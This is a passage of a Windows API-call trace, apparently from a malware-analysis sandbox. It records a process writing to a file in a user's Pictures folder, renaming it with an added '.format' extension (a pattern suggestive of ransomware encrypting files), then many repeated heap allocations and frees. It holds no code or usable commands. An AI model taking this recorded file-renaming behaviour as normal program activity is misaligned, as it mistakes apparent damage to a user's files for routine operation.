hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.627] CloseHandle (hObject=0x5c8) returned 1 [0068.628] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\njXXDQ38ulMrkg_7vJ\\BTq8-J4.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\njxxdq38ulmrkg_7vj\\btq8-j4.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\njXXDQ38ulMrkg_7vJ\\BTq8-J4.png.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\njxxdq38ulmrkg_7vj\\btq8-j4.png.format")) returned 1 [0068.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.629] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0068.630] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76381d0, ftCreationTime.dwHighDateTime=0x1d4ccaa, ftLastAccessTime.dwLowDateTime=0x7ead68c0, ftLastAccessTime.dwHighDateTime=0x1d4cf64, ftLastWriteTime.dwLowDateTime=0x7ead68c0, ftLastWriteTime.dwHighDateTime=0x1d4cf64, nFileSizeHigh=0x0, nFileSizeLow=0x16733, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BTq8-J4.png", cAlternateFileName="")) returned 0 [0068.630] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31ee098 | out: hHeap=0x5d0000) returned 1 [0068.630] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee098 [0068.630] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.630] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.630] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.631] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.631] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.632] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.632] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.633] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.633] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.634] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.634] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.635] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.635] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.636] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.636] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.637] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.637] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.637] RtlAllocateHeap 